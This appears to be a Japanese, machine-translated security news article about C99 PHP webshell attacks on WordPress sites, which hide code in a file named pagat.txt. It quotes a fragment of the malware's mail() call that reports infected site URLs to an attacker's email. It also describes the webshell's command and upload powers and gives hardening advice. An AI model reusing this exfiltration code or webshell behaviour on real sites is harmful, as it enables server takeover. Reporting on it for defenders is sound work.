C99 php Webshell 攻撃が激化し、多数の WordPress サイトが脅威にさらされる-PHPチュートリアル-php.cn

C99 php Webshell 攻撃が激化し、多数の WordPress サイトが脅威にさらされる

WBOY

リリース： 2016-06-20 12:31:08

オリジナル

1377 人が閲覧しました

最近、IBM のマネージドセキュリティサービス (MSS) チームは、C99 を使用する大量の WordPress を 検出したと警告を発しました。 php webshell. このサイトは新たな攻撃を受けており、WordPress サイト管理者はサイトの脆弱性を適時にスキャンして修復するよう注意を喚起しています。

IBM MSS チームによる悪意のあるイベントの長期的な監視と分析に基づいて、セキュリティ研究者は、過去 2 か月間、C99 Web シェルによって引き起こされたトラフィック異常が存在したことを発見したと報告されています。彼らによると、2 月に監視されたイベントの数は 404 件でしたが、3 月には 588 件に達しました。

悪意のあるファイルが Webshell を通じて Web サーバーにアップロードされる可能性があることがわかっています。またはコマンドをサーバー実装に渡すことができます。 PHP から ASP.NET、JavaScript から Ruby まで、さまざまなプログラミング言語コードで記述でき、攻撃者がサーバーを制御できるようになり、c99 Web シェルは攻撃者によってよく使用されます。

pagat.txt ファイルには注意してください

IBM MSS セキュリティチームによると、攻撃者はサイトプラグインのセキュリティ脆弱性を利用し、C99 WebShell を通じて感染することがよくあります。調査によると、最初の感染段階では、Web シェルスクリプトがサーバーにアップロードされ、テキストファイルとして保存されます。通常、テキストファイルの名前は pagat.txt です。 IBM セキュリティ研究者は、このファイル内で難読化された PHP ソースコードも発見しました。関連するコードスニペットは次のとおりです。コードをさらに難読化し、感染動作をさらに複雑にするためです。 clear 攻撃者は上記のテキストファイルをサーバーのルートディレクトリまたはプラグインのディレクトリフォルダーに配置していないため、検出はさらに困難になります。ほとんどの場合、pagat.txt ファイルは通常、次のパスに保存されます。

このパスに基づいて独自の WordPress サイトサーバーをチェックして、疑わしいファイルが存在するかどうかを確認することもできます。

攻撃手順

“http://www.website-name.com/wp-content/themes/twentythirteen/pagat.txt”

ログイン後にコピー

攻撃者は、テキストコンテンツをサーバーの PHP インタープリタに送信するパスを見つけます。悪意のあるコードが実行された後、簡単に言えば、一般に次の操作が実行されます。

まず、電子メールが攻撃者に送信され、電子メールの内容を通じて現在の感染サイトの具体的な場所が通知されます。この電子メールは Gmail アドレスに送信され、Web サイトのドメイン名と Web シェルの URL が含まれています。

次に、次のように、pagat.txt ファイルに含まれるコードを使用してサイトディレクトリにフォームページを作成します。

mail(“<strong>XXXXX@gmail.com</strong>“, “$body”, “Hasil Bajakan hxxp://$web$inj

ログイン後にコピー

最後に、攻撃者はブラウザが新しく作成されたフォームファイルにアクセスすると、サーバーにコマンドを渡したり、ファイルをアップロードしたりできます。アクセスページは次のとおりです。上の図に示すように、Webshell は攻撃を許可します。サーバー上のサーバーにアクセスするには、ターミナルコマンドを実行するか、新しいファイルをサイトにアップロードします。これには、より侵入的な Web シェル、DDoS クライアント、ビットコインマイナー、またはその他のマルウェアが使用される可能性があります。

IBM MSS チームによると、2016 年 4 月 12 日の時点で、Google 検索エンジンによる簡単なクエリだけで、約 32,000 の WordPress サイトに pagat.txt ファイルが存在することがわかりました。

セキュリティに関する提案

現在の状況に基づいて、サイト管理者は次の操作を実行することをお勧めします。

1.php.ini ファイルを編集します。 Base64デコード機能を無効にします。 php.ini ファイルで、関連する構成ステートメント「disable_functions =」を見つけ、そのステートメントを「disable_functions = eval,base64_decode, gzinflate」に設定します。

2. アップロードフォルダーの名前を変更します。 WordPress では、アップロードプログラムを通じてファイルをアップロードフォルダーに書き込むことができます。ユーザーがデフォルト名を使用したままであれば、攻撃者はアップロードされたファイルの特定のパスを簡単に推測できるため、攻撃者が次の内容を含む PHP ファイルをアップロードするコストが大幅に削減されます。シェルスクリプト;

3. Wordfence WordPress プラグインなどの非常に使いやすいセキュリティプラグインをインストールします。

4. セキュリティスキャンを実行します。アップロードされたファイルを完全にスキャンするには、オープンソースのスキャンツールを使用することをお勧めします。ここでは、スキャンツール Modsecurity を使用し、AWVS または WordPress セキュリティスキャナーを通じてサイトをスキャンして、脆弱性を適時に検出し、修復および強化できます。 >5. サイトが感染していることが判明した場合は、サイト上のすべての管理者アカウントのパスワードを速やかに変更し、サイトユーザーにパスワードを変更するよう通知することをお勧めします。

＊参照元: Softpedia、Securityintelligence、FB 編集者 troy が編集、FreeBuf Hackers and Geeks (FreeBuf.COM) からの転載であることを明記してください